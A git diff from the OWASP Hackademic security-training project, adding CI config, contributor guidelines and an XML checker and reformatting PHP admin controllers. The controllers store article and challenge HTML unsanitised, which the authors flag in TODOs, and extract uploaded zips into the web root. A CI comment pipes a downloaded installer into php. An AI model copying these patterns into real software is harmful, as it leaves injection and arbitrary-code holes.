diff --git a/.gitignore b/.gitignore index d6f4739c..338969e5 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,6 @@ __MACOSX/* .project/ *.patch -config.inc.php view/compiled_view/ pages/test/ *.swp @@ -11,3 +10,4 @@ test nbproject/ composer.lock vendor/ +.idea/ diff --git a/.htaccess b/.htaccess index 87ddc0bf..43501543 100755 --- a/.htaccess +++ b/.htaccess @@ -2,7 +2,6 @@ ErrorDocument 403 /view/errors/403.html ErrorDocument 404 /view/errors/404.html ErrorDocument 500 /view/errors/500.html -ErrorDocument 509 /view/errors/509.html # Disable directory indexing Options All -Indexes diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 00000000..8a52b67f --- /dev/null +++ b/.travis.yml @@ -0,0 +1,39 @@ +sudo: true +language: php +php: + - 5.3 + - 5.4 + - 5.5 + - 5.6 + - hhvm + - nightly + +env: + - DB=mysql + + +before_script: + #- curl -sS https://getcomposer.org/installer | php; sudo mv composer.phar /usr/local/bin/composer + #- composer install + - mysql -e "create database IF NOT EXISTS hackademic;" -uroot + - mysql -uroot "hackademic" < "installation/sql/db.sql" + +script: + # - phpunit --configuration phpunit_mysql.xml --coverage-text + - vendor/bin/phpunit --configuration phpunit_mysql.xml --coverage-html ./report hackademic_devtests/model/common/class.PageTest.php + +install: + - composer install + +notifications: + irc: + channels: "irc.freenode.org#hackademic-dev" + template: + - "%{repository}@%{branch}: %{message} (%{build_url})" + on_success: change + on_failure: change + use_notice: true + email: false + +after_success: + coveralls --rcfile=.coveragerc diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ac9edfc3..125a1005 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -114,3 +114,73 @@ To write your own tests you can check `/admin/model/AddUserController 4. In order to get a unique css path for the element you want to click you can inspect it in Firefox or Chrome and right-click on the element and select Copy CSS Path 5. Cleanup after your test, `tearDown()` exists for that reason too. 6. Each class should test one feature. E.g. `AddUserTest` should test if a user can be added sucessfully. + + + +Standard Compliance: +-------------------- + +Before committing code, please make sure your code is PSR - 0, PSR - 1, PSR - 2, PSR - 3 and PSR - 4 compliant. + +We use a stricter version of PSR - 1 and PSR - 2 over PHP_CodeSniffer. All the related sniff files and ruleset.xml are present in development/scripts. + +To check your code against these standards : + +0. Place the PSR-1 inside /usr/share/php/PHP/CodeSniffer/Standards. + + ``` + cp hackademic/development/scripts/PSR-1/ /usr/share/php/PHP/CodeSniffer/Standards/ + ``` +1. Then Set PSR-1 as the default sniff for CodeSniffer using + + ``` + phpcs --config-set default_standard PSR-1 + ``` + +2. Follow the same steps for making the code PSR-2 complaint. + + +To Run Code Sniffer by yourself : + +0. To see the warnings and errors + + ``` + phpcs filename + ``` + or + + ``` + phpcs filename | less + ``` + q to exit. + +1. To fix warnings and errors automatically + + ``` + phpcbf filename + ``` + + +Pre Commit Hook: +---------------- + +Adding pre commit hook automatically checks for PHP_CodeSniffer and PHP_CS-fixer +errors. To run it + +0. Rename .git/hooks/pre-commit.sample to pre-commit +1. Add the following to the end of this file + + ``` + exec git diff --cached | development/scripts/PSR\ Compliance\ Pre\ Commit.php + ``` + +2. Make sure the file is executable + + ``` + chmod a+x .git/hooks/pre-commit + ``` +How to make Git to ignore file permission changes: +------------------------------------------------- +``` +git config core.fileMode false +``` diff --git a/Locale/en_US/LC_MESSAGES/messages.mo b/Locale/en_US/LC_MESSAGES/messages.mo new file mode 100644 index 00000000..05f48dc6 Binary files /dev/null and b/Locale/en_US/LC_MESSAGES/messages.mo differ diff --git a/locale/en/LC_MESSAGES/messages.po b/Locale/en_US/LC_MESSAGES/messages.po similarity index 100% rename from locale/en/LC_MESSAGES/messages.po rename to Locale/en_US/LC_MESSAGES/messages.po diff --git a/Locale/fr_FR/LC_MESSAGES/messages.mo b/Locale/fr_FR/LC_MESSAGES/messages.mo new file mode 100644 index 00000000..4726a55a Binary files /dev/null and b/Locale/fr_FR/LC_MESSAGES/messages.mo differ diff --git a/locale/fr/french.pot b/Locale/fr_FR/LC_MESSAGES/messages.po similarity index 100% rename from locale/fr/french.pot rename to Locale/fr_FR/LC_MESSAGES/messages.po diff --git a/Python/xmlparser.py b/Python/xmlparser.py new file mode 100644 index 00000000..5b4aaaf0 --- /dev/null +++ b/Python/xmlparser.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +""" # Python version = 3 + Parses the xml files and reports if correctly formatted or not with the format of the files in challenges folder.(check for both format : before ch010 and after that) + Currently run through terminal/command prompt by specifying the relative file path and output on prompt. + Can be extended for reporting non nullable fields errors. + Can be easily integrated with the current system. + + To run on terminal: + Go to the file folder in terminal/command prompt. + Type python3 xmlparser.py + Enter the file name. + * ---------------------------------------------------------------- + OWASP Hackademic Challenges Project + * ---------------------------------------------------------------- + * Rohit Lodha + * ----------------------------------------------------------------""" + +import xml.etree.ElementTree as ET +import xml +def xmlparser(xmlfile): + try: + tree = ET.parse(xmlfile) #Checking if file exist, if exist parse it and store it in tree + try : + root = tree.getroot() #getting the root + if (len(root)==6): #For challenges with "level" and "duration" fields + required_fields=["title","author","category","description","level","duration"] + for field in required_fields: + if (root.find(field)!=None): #searching for every required field + continue + else : + print("Incorrect formatting of required fields.") + exit() + print("Correctly formatted!") + elif (len(root)==4) : #For challenges without "level" and "duration" fields + required_fields=["title","author","category","description"] + for field in required_fields: + if (root.find(field)!=None): #searching for every required field + continue + else : + print("Incorrect formatting of required fields.") + exit() + print("Correctly formatted!") + else : + print("Incorrect formatting of necessary fields.") + except ET.ParseError as Error: + print(Error) #prints the line no. on which error occured + except FileNotFoundError: + print("File Not Found.") + except ET.ParseError as Error: + print(Error) + +if __name__=="__main__" : #code to execute if called from command-line + a = input("Enter File name relative to this file.\n") #Taking file name input + xmlparser(a) #calling xmlparser diff --git a/README.md b/README.md index c256bb59..ab46b9e7 100755 --- a/README.md +++ b/README.md @@ -3,48 +3,46 @@ OWASP Hackademic Challenges project =================================== -The **OWASP Hackademic Challenge** project helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. +The **OWASP Hackademic Challenge** project helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controlled and safe environment. -The latest stable version is in `next` branch, the development version is in `next-dev`. +The latest stable version is in the `next` branch, the development version is in `next-dev`. Description ----------- -The Hackademic challenges implement realistic scenarios with known vulnerabilities in a safe, controllable environment. Users can attempt to discover and exploit these vulnerabilities in order to learn important concepts of information security through the attacker's perspective. +The Hackademic challenges implement realistic scenarios with known vulnerabilities in a safe, controlled environment. Users can discover and exploit the vulnerabilities presented in the challenges and learn important concepts of information security through the perspective of an attacker. Currently, there are 10 scenarios available. -You can choose to start from the one that you find most appealing, although we suggest to follow the order presented on the first page. We intend to expand the available challenges with additional scenarios that involve cryptography and even vulnerable systems implemented in downloadable virtual machines. - - +You can choose to start from the one that you find most appealing, although we suggest you follow the order presented on the first page. We intend to expand the available challenges with additional scenarios that involve cryptography and even vulnerable systems presented as downloadable virtual machines. Deployment ---------- -Dependencies of Hackademic involve a web server (Apache, nginx) with PHP and Mysql/MariaDB connected with it. Make sure you have installed these before you start deploying Hackademic. We recommand to use Apache with MySQL. See [Digital Ocean's website](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu) for a good tutorial under Ubunt. See [WampServer](http://www.wampserver.com/en/) to set up the environnement under Windows. +Dependencies for Hackademic involve a web server (Apache, nginx) with PHP and Mysql/MariaDB connected to it. Make sure you have these installed before you start deploying Hackademic. We recommend to use Apache with MySQL. See [Digital Ocean's website](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu) for a good tutorial under Ubuntu. See [WampServer](http://www.wampserver.com/en/) to set up the environment under Windows. -Clone Hackademic project, +To clone Hackademic, `git clone https://github.com/Hackademic/hackademic.git` -After successful cloning of the Hackademic project, copy the contents into `/var/www` -We need to change the permissions of the file now, +After successful cloning, copy the folder into `/var/www`. +Next change the permissions of the folder with `sudo chmod -R 765 hackademic` -Ensure that the Apache is started and SQL connection is also active. Point your browser towards `http://127.0.0.1/` -You will be prompted with Hackademic page. In case you have many sub-directories in `/var/www/`, the browser would throw up all the directories. -Choose hackademic from that. +Ensure that Apache is started and that the SQL connection is also active. Point your browser towards `http://127.0.0.1/` +You will be prompted with the Hackademic page. In case you have many sub-directories in `/var/www/`, the browser would list all the directories available. +Choose hackademic from those. -Now you will be prompted to Hackademic installation page. +Now you will be prompted with the Hackademic installation page. Be sure to fill out all the fields. 1. Administrator Details Fill any email id, username and password. - You will using this username and password, later to log in to hackademic. + You will be using this username and password, later on to log in to hackademic. 2. Database Settings @@ -60,14 +58,13 @@ Be sure to fill out all the fields. You should be able to log in. -After finish stage if you got a error +After the finish stage if you got an error *Parse error: syntax error, unexpected '[' in /var/www/hackademic/model/common/class.ChallengeAttempts.php on line 363']'* update the version of PHP you are using. Hackademic uses 5.4+. - Road Map and Getting Involved ----------------------------- @@ -77,12 +74,12 @@ For a list of features we would like implemented you can see either the issues p Involvement in the development and promotion of the Hackademic Challenges is actively encouraged! You do not have to be a security expert in order to contribute. -Some of the ways you can help: +Some of the ways you can help are: * Write Documentation * Write Unit tests * Develop themes and plugins -* Write Challenges or Articles or contribute security courses +* Write Challenges, Articles or contribute security courses Please see [CONTRIBUTING.md](CONTRIBUTING.md) for installation guidelines and other developer-oriented explanations. diff --git a/admin/controller/class.AddArticleController.php b/admin/controller/class.AddArticleController.php index e3d2d9f7..888fb69c 100755 --- a/admin/controller/class.AddArticleController.php +++ b/admin/controller/class.AddArticleController.php @@ -1,85 +1,100 @@ -. -* -* -* @author Pragya Gupta -* @author Konstantinos Papapanagiotou -* @license http://www.gnu.org/licenses/gpl.html -* @copyright 2012 OWASP -* -*/ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"); -require_once(HACKADEMIC_PATH."/admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."/model/common/class.Utils.php"); - -class AddArticleController extends HackademicBackendController { - - public $title; - public $publish; - public $article; - - private static $action_type = 'add_article'; - - public function go() { - $this->saveFormFields(); - $this->setViewTemplate('editor.tpl'); - if(isset($_POST['submit'])) { - if ($_POST['title']=='') { - $this->addErrorMessage("Title of the article should not be empty"); - } elseif (!isset($_POST['is_published'])) { - $this->addErrorMessage("Please tell if the article should be published"); - } elseif ($_POST['content']=='') { - $this->addErrorMessage("Article post should not be empty"); - } else { - $article = new Article(); - $article->created_by = Session::getLoggedInUser(); - $article->title = Utils::sanitizeInput($_POST['title']); - $article->is_published = $_POST['is_published']; - $article->content = $_POST['content'];//TODO somehow we must check if this is malicious - $article->date_posted = date("Y-m-d H:i:s"); - ArticleBackend::addArticle($article); - $this->addSuccessMessage("Article has been added succesfully"); - $id = ArticleBackend::insertId(); - header('Location: ' . SOURCE_ROOT_PATH."?url=admin/editarticle&id=$id&source=new"); - die(); - } - } - $this->generateView(self::$action_type); - } - - public function saveFormFields(){ - if(isset($_POST['title'])) { - $this->title = Utils::sanitizeInput($_POST['title']); - } - if(isset($_POST['is_published'])) { - $this->publish = $_POST['is_published']; - } - if(isset($_POST['content'])) { - $this->article = $_POST['content']; - } - $this->addToView('cached', $this); - } -} +. +* +* PHP Version 5 +* +* @author Pragya Gupta +* @author Konstantinos Papapanagiotou +* @copyright 2012 OWASP +* @license GNU General Public License http://www.gnu.org/licenses/gpl.html +*/ +require_once HACKADEMIC_PATH."model/common/class.Session.php"; +require_once HACKADEMIC_PATH."admin/model/class.ArticleBackend.php"; +require_once HACKADEMIC_PATH."/admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."/model/common/class.Utils.php"; + +/** + * Class to add article. + */ +class AddArticleController extends HackademicBackendController +{ + + public $title; + public $publish; + public $article; + + private static $_action_type = 'add_article'; + + /** + * Function to add article, after all the necessary checks. + * @return Nothing. + */ + public function go() + { + $this->saveFormFields(); + $this->setViewTemplate('editor.tpl'); + if (isset($_POST['submit'])) { + if ($_POST['title']=='') { + $this->addErrorMessage("Title of the article should not be empty"); + } elseif (!isset($_POST['is_published'])) { + $this->addErrorMessage("Please tell if the article should be published"); + } elseif ($_POST['content']=='') { + $this->addErrorMessage("Article post should not be empty"); + } else { + $article = new Article(); + $article->created_by = Session::getLoggedInUser(); + $article->title = Utils::sanitizeInput($_POST['title']); + $article->is_published = $_POST['is_published']; + //TODO somehow we must check if this is malicious + $article->content = $_POST['content']; + $article->date_posted = date("Y-m-d H:i:s"); + ArticleBackend::addArticle($article); + $this->addSuccessMessage("Article has been added succesfully"); + $id = ArticleBackend::insertId(); + header('Location: ' . SOURCE_ROOT_PATH."?url=admin/editarticle&id=$id&source=new"); + die(); + } + } + $this->generateView(self::$_action_type); + } + + /** + * Function to save form fields. + * @return Nothing. + */ + public function saveFormFields() + { + if (isset($_POST['title'])) { + $this->title = Utils::sanitizeInput($_POST['title']); + } + if (isset($_POST['is_published'])) { + $this->publish = $_POST['is_published']; + } + if (isset($_POST['content'])) { + $this->article = $_POST['content']; + } + $this->addToView('cached', $this); + } +} diff --git a/admin/controller/class.AddChallengeController.php b/admin/controller/class.AddChallengeController.php index 5ad18977..9c0a9db5 100755 --- a/admin/controller/class.AddChallengeController.php +++ b/admin/controller/class.AddChallengeController.php @@ -1,260 +1,292 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/model/class.ChallengeBackend.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); - -// -- Class Name : AddChallengeController -// -- Purpose : -// -- Created On : -class AddChallengeController extends HackademicBackendController { - - public $title; - public $authors; - public $category; - public $level; - public $duration; - public $description; - - private static $action_type = 'add_challenge'; - - private static function rrmdir($dir) { - foreach(glob($dir . '/*') as $file) { - if(is_dir($file)) { - self::rrmdir($file); - } else { - unlink($file); - } - } - rmdir($dir); - } - - public function installChallenge($file_to_open,$target,$name) { - $zip = new ZipArchive(); - $x = $zip->open($file_to_open); - - if($x === true) { - $zip->extractTo($target); - $zip->close(); - - unlink($file_to_open); - #deletes the zip file. We no longer need it. - - if (isset($_GET['type']) && $_GET['type'] == "code") { - $xml_exists = 1; - } else { - $xml_exists = file_exists($target.$name.".xml"); - } - - if (!file_exists($target."index.php") || !$xml_exists) { - if (!file_exists($target."index.php")) { - $this->addErrorMessage("Not a valid challenge! Index.php file doesn't exist"); - if (isset($_GET['type']) && $_GET['type'] == "code") { - $this->addToView('step', 'step2'); - } - } else { - if (!file_exists($target.$name.".xml") ) { - $this->addErrorMessage("Zip's filename must be the same with the xml file within
(case-sensitive)."); - } - } - self::rrmdir(HACKADEMIC_PATH."challenges/".$name); - return false; - } - - - if (isset($_GET['type']) && $_GET['type'] == "code") { - return $_SESSION['challenge_arr']; - } - - $xml = simplexml_load_file($target.$name.".xml"); - - if ( !isset($xml->title) || !isset($xml->author)|| !isset($xml->description)|| !isset($xml->category) ){ - $this->addErrorMessage("The XML file is not valid."); - self::rrmdir(HACKADEMIC_PATH."challenges/".$name); - return false; - } - - $a = array( - 'title' => Utils::sanitizeInput($xml->title), - 'author' => Utils::sanitizeInput($xml->author), - 'description' => $xml->description,//Todo make sure its only html here and no javascript or other possibly malicious stuff - 'category' => Utils::sanitizeInput($xml->category), - 'level' => Utils::sanitizeInput($xml->level), - 'duration' => Utils::sanitizeInput($xml->duration) - ); - return $a; - } else { - $this->addErrorMessage("There was a problem. Please try again!"); - return false; - } - } - - public function go() { - $this->setViewTemplate('addchallenge.tpl'); - $this->cache_values(); - if(isset($_GET['type']) && $_GET['type'] == "code") { - $add_type = "code"; - } else { - $add_type = "challenge"; - } - - if (isset($_POST['continue'])) { - $this->cache_values(); - if ($_POST['title']=='') { - $e_msg = "Title of the challenge should not be empty"; - $error = true; - } elseif ($_POST['description']=='') { - $e_msg = "Description should not be empty"; - $error = true; - } elseif ($_POST['authors']=='') { - $e_msg = "Authors field should not be empty"; - $error = true; - } elseif ($_POST['category']=='') { - $e_msg = "Category field should not be empty"; - $error = true; - } elseif ($_POST['level']=='') { - $e_msg = "Level field should not be empty"; - $error = true; - } elseif ($_POST['duration']=='') { - $e_msg = "Duration field should not be empty"; - $error = true; - } else { - $array = array ( - 'title' => Utils::sanitizeInput($_POST['title']), - 'description' => $_POST['description'], - 'authors' => Utils::sanitizeInput($_POST['authors']), - 'category' => Utils::sanitizeInput($_POST['category']), - 'level' => Utils::sanitizeInput($_POST['level']), - 'duration' => Utils::sanitizeInput($_POST['duration']) - ); - $_SESSION['challenge_arr'] = $array; - $this->addSuccessMessage("Now Please upload the challenge code"); - $this->addToView('step', 'step2'); - } - - $new_msg = $e_msg; - if($error) { - if(defined('EXAMPLE_CHALLENGE') && EXAMPLE_CHALLENGE != "") { - $path = SOURCE_ROOT_PATH.EXAMPLE_CHALLENGE; - $new_msg = "".$e_msg."

For an example on how to build challenges please consult The Example Challenge

"; - } - } - $this->addErrorMessage($new_msg); - } - - if(isset($_FILES['fupload'])) { - $filename = $_FILES['fupload']['name']; - $source = $_FILES['fupload']['tmp_name']; - $type = $_FILES['fupload']['type']; - $name = explode('.', $filename); - $target = HACKADEMIC_PATH."challenges/". $name[0] . '/'; - - if(!isset($name[1])) { - $this->addErrorMessage("Please select a file"); - return $this->generateView(self::$action_type); - } - - if(isset($name[0])) { - $challenge = ChallengeBackend::doesChallengeExist($name[0]); - if($challenge==true) { - if(isset($_SESSION['challenge_arr'])) { - $this->addToView('step', 'step2'); - } else { - $this->addToView('type', $add_type); - } - $this->addErrorMessage("This file already exists!!"); - return $this->generateView(self::$action_type); - } - } - - $okay = strtolower($name[1]) == 'zip' ? true : false; - - if(!$okay) { - if(isset($_SESSION['challenge_arr'])) { - $this->addToView('step', 'step2'); - } else { - $this->addToView('type', $add_type); - } - $this->addErrorMessage("Please choose a zip file!"); - return $this->generateView(self::$action_type); - } - - mkdir($target); - $saved_file_location = $target . $filename; - - if(move_uploaded_file($source, $target . $filename)) { - $data = $this->installChallenge($saved_file_location, $target, $name[0]); - if($data == true) { - $pkg_name = $name[0]; - $challenge = new Challenge(); - $challenge->title = $data['title']; - $challenge->pkg_name = $pkg_name; - $challenge->description = $data['description']; - $challenge->author = $data['author']; - $challenge->category = $data['category']; - $challenge->date_posted = date("Y-m-d H-i-s"); - $challenge->level = $data['level']; - $challenge->duration = $data['duration']; - ChallengeBackend::addChallenge($challenge); - header('Location: '.SOURCE_ROOT_PATH."?url=admin/challengemanager&action=add"); - die(); - } - } - } - $this->addToView('type', $add_type); - return $this->generateView(self::$action_type); - } - - public function cache_values() { - if(isset($_POST['title'])) { - $this->title = Utils::sanitizeInput($_POST['title']); - } - if(isset($_POST['description'])) { - $this->description = $_POST['description']; - } - if(isset($_POST['authors'])) { - $this->authors = Utils::sanitizeInput($_POST['authors']); - } - if(isset($_POST['category'])) { - $this->category = Utils::sanitizeInput($_POST['category']); - } - if(isset($_POST['level'])) { - $this->level = Utils::sanitizeInput($_POST['level']); - } - if(isset($_POST['duration'])) { - $this->duration = Utils::sanitizeInput($_POST['duration']); - } - $this->addToView('cached', $this); - } - -} +. + * + * PHP Version 5 + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH . "admin/model/class.ChallengeBackend.php"; +require_once HACKADEMIC_PATH . "admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH . "model/common/class.Utils.php"; + +/** + * Class to handle necessary things associated with adding a challenge. + */ +class AddChallengeController extends HackademicBackendController +{ + + public $title; + public $authors; + public $category; + public $level; + public $duration; + public $description; + + private static $_action_type = 'add_challenge'; + + /** + * Function to remove directory. + * @param dir $dir Name of directory. + * @return Nothing. + */ + private static function _rrmdir($dir) + { + foreach (glob($dir . '/*') as $file) { + if (is_dir($file)) { + self::_rrmdir($file); + } else { + unlink($file); + } + } + rmdir($dir); + } + + /** + * Function to install the challenge. + * @param filename $file_to_open Name of the File to be opened. + * @param target $target Name of target file. + * @param name $name Name. + * @return Nothing. + */ + public function installChallenge($file_to_open, $target, $name) + { + $zip = new ZipArchive(); + $x = $zip->open($file_to_open); + + if ($x === true) { + $zip->extractTo($target); + $zip->close(); + + unlink($file_to_open); + // deletes the zip file. We no longer need it. + + if (isset($_GET['type']) && $_GET['type'] == "code") { + $xml_exists = 1; + } else { + $xml_exists = file_exists($target . $name . ".xml"); + } + error_log("$target"); + if (!file_exists($target . "index.php") || !$xml_exists) { + if (!file_exists($target . "index.php")) { + $this->addErrorMessage("Not a valid challenge! index.php file doesn't exist"); + if (isset($_GET['type']) && $_GET['type'] == "code") { + $this->addToView('step', 'step2'); + } + } else { + if (!file_exists($target . $name . ".xml")) { + $this->addErrorMessage("Zip's filename must be the same with the xml file within
(case-sensitive)."); + } + } + self::_rrmdir(HACKADEMIC_PATH . "challenges/" . $name); + return false; + } + + + if (isset($_GET['type']) && $_GET['type'] == "code") { + return $_SESSION['challenge_arr']; + } + + $xml = simplexml_load_file($target . $name . ".xml"); + + if (!isset($xml->title) || !isset($xml->author) || !isset($xml->description) || !isset($xml->category)) { + $this->addErrorMessage("The XML file is not valid."); + self::_rrmdir(HACKADEMIC_PATH . "challenges/" . $name); + return false; + } + + $a = array( + 'title' => Utils::sanitizeInput($xml->title), + 'author' => Utils::sanitizeInput($xml->author), + //Todo make sure its only html here and no javascript or other possibly + //malicious stuff + 'description' => $xml->description, + 'category' => Utils::sanitizeInput($xml->category), + 'level' => Utils::sanitizeInput($xml->level), + 'duration' => Utils::sanitizeInput($xml->duration) + ); + return $a; + } else { + $this->addErrorMessage("There was a problem. Please try again!"); + return false; + } + } + + public function go() + { + $this->setViewTemplate('addchallenge.tpl'); + $this->cacheValues(); + if (isset($_GET['type']) && $_GET['type'] == "code") { + $add_type = "code"; + } else { + $add_type = "challenge"; + } + + if (isset($_POST['continue'])) { + $this->cacheValues(); + if ($_POST['title'] == '') { + $e_msg = "Title of the challenge should not be empty"; + $error = true; + } elseif ($_POST['description'] == '') { + $e_msg = "Description should not be empty"; + $error = true; + } elseif ($_POST['authors'] == '') { + $e_msg = "Authors field should not be empty"; + $error = true; + } elseif ($_POST['category'] == '') { + $e_msg = "Category field should not be empty"; + $error = true; + } elseif ($_POST['level'] == '') { + $e_msg = "Level field should not be empty"; + $error = true; + } elseif ($_POST['duration'] == '') { + $e_msg = "Duration field should not be empty"; + $error = true; + } else { + $array = array( + 'title' => Utils::sanitizeInput($_POST['title']), + 'description' => $_POST['description'], + 'authors' => Utils::sanitizeInput($_POST['authors']), + 'category' => Utils::sanitizeInput($_POST['category']), + 'level' => Utils::sanitizeInput($_POST['level']), + 'duration' => Utils::sanitizeInput($_POST['duration']) + ); + $_SESSION['challenge_arr'] = $array; + $this->addSuccessMessage("Now Please upload the challenge code"); + $this->addToView('step', 'step2'); + } + + $new_msg = $e_msg; + if ($error) { + if (defined('EXAMPLE_CHALLENGE') && EXAMPLE_CHALLENGE != "") { + $path = SOURCE_ROOT_PATH . EXAMPLE_CHALLENGE; + $new_msg = "" . $e_msg . "

For an example on how to build + challenges please consult The Example + Challenge

"; + } + } + $this->addErrorMessage($new_msg); + } + + if (isset($_FILES['fupload'])) { + $filename = $_FILES['fupload']['name']; + $source = $_FILES['fupload']['tmp_name']; + $type = $_FILES['fupload']['type']; + $name = explode('.', $filename); + $target = HACKADEMIC_PATH . "challenges/" . $name[0] . '/'; + + if (!isset($name[1])) { + $this->addErrorMessage("Please select a file"); + return $this->generateView(self::$_action_type); + } + + if (isset($name[0])) { + $challenge = ChallengeBackend::doesChallengeExist($name[0]); + if ($challenge == true) { + if (isset($_SESSION['challenge_arr'])) { + $this->addToView('step', 'step2'); + } else { + $this->addToView('type', $add_type); + } + $this->addErrorMessage("This file already exists!"); + return $this->generateView(self::$_action_type); + } + } + + $okay = strtolower($name[1]) == 'zip' ? true : false; + + if (!$okay) { + if (isset($_SESSION['challenge_arr'])) { + $this->addToView('step', 'step2'); + } else { + $this->addToView('type', $add_type); + } + $this->addErrorMessage("Please choose a zip file!"); + return $this->generateView(self::$_action_type); + } + if (!file_exists($target)) { + mkdir($target); + $saved_file_location = $target . $filename; + + if (move_uploaded_file($source, $target . $filename)) { + $data = $this->installChallenge($saved_file_location, $target, $name[0]); + if ($data == true) { + $pkg_name = $name[0]; + $challenge = new Challenge(); + $challenge->title = $data['title']; + $challenge->pkg_name = $pkg_name; + $challenge->description = $data['description']; + $challenge->author = $data['author']; + $challenge->category = $data['category']; + $challenge->date_posted = date("Y-m-d H-i-s"); + $challenge->level = $data['level']; + $challenge->duration = $data['duration']; + ChallengeBackend::addChallenge($challenge); + header('Location: ' . SOURCE_ROOT_PATH . "?url=admin/challengemanager&action=add"); + die(); + } + } else { + error_log("Couldn't move $source to $target check destination permissions"); + } + } else { + $this->addErrorMessage("Directory " . htmlentities($target) . "exists"); + } + } + $this->addToView('type', $add_type); + return $this->generateView(self::$_action_type); + } + + /** + * Function to handle cache values + * @return Nothing. + */ + public function cacheValues() + { + if (isset($_POST['title'])) { + $this->title = Utils::sanitizeInput($_POST['title']); + } + if (isset($_POST['description'])) { + $this->description = $_POST['description']; + } + if (isset($_POST['authors'])) { + $this->authors = Utils::sanitizeInput($_POST['authors']); + } + if (isset($_POST['category'])) { + $this->category = Utils::sanitizeInput($_POST['category']); + } + if (isset($_POST['level'])) { + $this->level = Utils::sanitizeInput($_POST['level']); + } + if (isset($_POST['duration'])) { + $this->duration = Utils::sanitizeInput($_POST['duration']); + } + $this->addToView('cached', $this); + } + +} diff --git a/admin/controller/class.AddClassController.php b/admin/controller/class.AddClassController.php index ba1909b6..380cc5ae 100755 --- a/admin/controller/class.AddClassController.php +++ b/admin/controller/class.AddClassController.php @@ -1,62 +1,68 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.Session.php"); -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."/admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); - -class AddClassController extends HackademicBackendController { - - private static $action_type = 'add_class'; - - public function go() { - $this->setViewTemplate('addclass.tpl'); - if(isset($_POST['submit'])) { - if ($_POST['classname']=='') { - $this->addErrorMessage("Name of the class should not be empty"); - } else { - // $this->created_by= Session::getLoggedInUser(); - $classname = Utils::sanitizeInput($_POST['classname']); - $date_created = date("Y-m-d H:i:s"); - if (Classes::doesClassExist($classname)) { - $this->addErrorMessage(" This Classname already exists"); - } - else{ - Classes::addClass($classname,$date_created); - header('Location: '.SOURCE_ROOT_PATH."?url=admin/manageclass&source=addclass"); - } - } - } - $this->generateView(self::$action_type); - } -} +. + * + * PHP Version 5 + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.Session.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."/admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."model/common/class.Utils.php"; + +class AddClassController extends HackademicBackendController +{ + + private static $_action_type = 'add_class'; + + /** + * Function to add class. + * @return Nothing. + */ + public function go() + { + $this->setViewTemplate('addclass.tpl'); + if (isset($_POST['submit'])) { + if ($_POST['classname']=='') { + $this->addErrorMessage("Name of the class should not be empty"); + } else { + // $this->created_by= Session::getLoggedInUser(); + $classname = Utils::sanitizeInput($_POST['classname']); + $date_created = date("Y-m-d H:i:s"); + if (Classes::doesClassExist($classname)) { + $this->addErrorMessage(" This Classname already exists"); + } else { + Classes::addClass($classname, $date_created); + header('Location: '.SOURCE_ROOT_PATH."?url=admin/manageclass&source=addclass"); + } + } + } + $this->generateView(self::$_action_type); + } +} diff --git a/admin/controller/class.AddUserController.php b/admin/controller/class.AddUserController.php index f03f9634..819be50d 100644 --- a/admin/controller/class.AddUserController.php +++ b/admin/controller/class.AddUserController.php @@ -1,112 +1,127 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"); -require_once(HACKADEMIC_PATH."model/common/class.User.php"); -require_once(HACKADEMIC_PATH."model/common/class.Mailer.php"); -require_once(HACKADEMIC_PATH."model/common/class.Utils.php"); - -class AddUserController extends HackademicBackendController { - public $username; - public $full_name; - public $activated; - public $type; - public $email; - - private static $action_type = 'add_user'; - - public function go() { - $this->saveFormFields(); - $this->setViewTemplate('adduser.tpl'); - if (isset($_POST['submit'])) { - if ($_POST['username']=='') { - $this->addErrorMessage("Username should not be empty"); - } elseif ($_POST['full_name']=='') { - $this->addErrorMessage("Full name should not be empty"); - } elseif ($_POST['password']=='') { - $this->addErrorMessage("Password should not be empty"); - } elseif ($_POST['confirmpassword']=='') { - $this->addErrorMessage("Please confirm password"); - } elseif (!isset($_POST['activated'])) { - $this->addErrorMessage("Is the user activated?"); - } elseif (!isset($_POST['type'])) { - $this->addErrorMessage("Select the type of user"); - } elseif ($_POST['email']=='') { - $this->addErrorMessage("please enter ur email id"); - } else { - $username = $_POST['username']; - $password = $_POST['password']; - 